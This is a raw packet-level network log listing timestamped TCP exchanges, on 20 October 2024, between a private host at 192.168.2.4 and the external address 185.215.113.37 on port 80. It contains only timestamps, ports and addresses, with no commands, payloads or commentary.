Oct 20, 2024 06:40:07.249593973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249624968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249639034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249846935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249859095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249867916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249877930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249888897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249898911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249902010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249910116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249922037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249934912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249934912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249946117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249954939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249958992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249969006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249974966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249980927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.249989033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.249995947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.250025988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.250052929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.250257969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.250268936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.250281096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.250291109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.250300884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.250308037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.250349045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.290738106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290764093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290776968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290790081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.290822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.290868998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290880919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290890932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290903091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.290916920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.290949106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291006088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291017056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291027069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291039944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291064978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291095018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291167974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291183949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291203976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291214943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291218996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291224957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291237116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291248083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291249037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291258097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291270018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291281939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291292906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291301012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291320086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291320086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291352034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291486025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291496992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291507959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291517973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291532040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291532993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291563034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291580915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291651964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291661978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291671038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291681051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291692019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291696072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291702986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291713953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291716099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291748047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291764021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291765928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291775942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291785955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291796923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291807890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291815996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291821957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291832924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291841984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291851044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291860104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291862965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291873932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291882038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291883945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291896105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.291913986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.291944981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.292172909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.292184114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.292193890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.292217970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.292229891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484530926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484602928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484613895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484620094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484625101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484637022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484647036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484648943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484680891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484726906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484810114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484827995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484838009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484849930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484854937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484860897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484872103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484872103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484891891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484922886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.484966040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484976053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484986067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.484997988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485008955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485012054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.485019922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485028982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.485029936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485045910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485058069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485064983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.485069990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485090971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.485110044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.485264063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485274076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485284090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.485308886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.485327005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.743798018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.743882895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:07.748785973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.748799086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.748819113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.748826981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:07.748836994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:08.615971088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:08.616050005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:08.693357944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:08.693392992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:09.003318071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:09.612688065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:09.724117041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:09.724128008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:09.724190950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:09.724792957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:09.724873066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:09.724883080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:09.728960991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:10.584938049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:10.585026979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:10.737206936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:10.742172003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:11.789567947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:11.789661884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:12.126534939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:12.131596088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:15.975810051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:15.975883007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.202163935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.207253933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.556881905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.556899071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.556909084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.556915045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.556972980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.557012081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.557053089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557085037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557096004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557105064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.557111025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557122946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557137012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557147980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557161093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557173014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557178974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.557185888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.557219028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.557229042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750535965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750552893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750562906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750571966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750577927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750583887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750597954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750616074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750648022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750658989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750711918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750780106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750791073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750802994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750813961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750824928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750829935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750837088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750849962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750854969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750876904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750895023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750915051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750977039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750987053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.750993967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.750998020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751018047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751030922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.751033068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751051903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751060963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.751064062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751079082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.751079082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751110077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.751127958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.751154900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751190901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.751202106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.751238108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.946084976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.946096897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.946141958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.946227074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.946238995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.946271896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.950845957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.950858116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.950905085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.950967073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.950978994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.951016903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.955595016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.955606937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.955615044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.955650091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.955681086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.955708981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.955720901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.955729008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.955753088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.955779076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960510015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960520983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960529089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960539103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960551977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960561037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960561991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960580111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960589886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960592985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960606098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960608959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960616112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960625887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960634947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960638046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960645914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960659981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960664034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960670948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960680008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960684061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960690975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960694075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960700989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960712910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960721970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960722923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960732937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960743904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960746050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960757017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960757971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960768938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960777998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960781097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960792065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960799932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960807085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960822105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960824966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960834026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960835934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960845947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960856915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960858107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960869074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960870028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960879087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960890055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960896015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960901976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960911036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960915089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:16.960932970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960949898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:16.960977077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.139007092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139024019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139034986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139097929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139106035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.139111996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139130116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139142036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139142990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.139172077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.139204025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.139219999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139230013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.139235020 CEST	80	49730	185.215.113.37	192.168.2.4
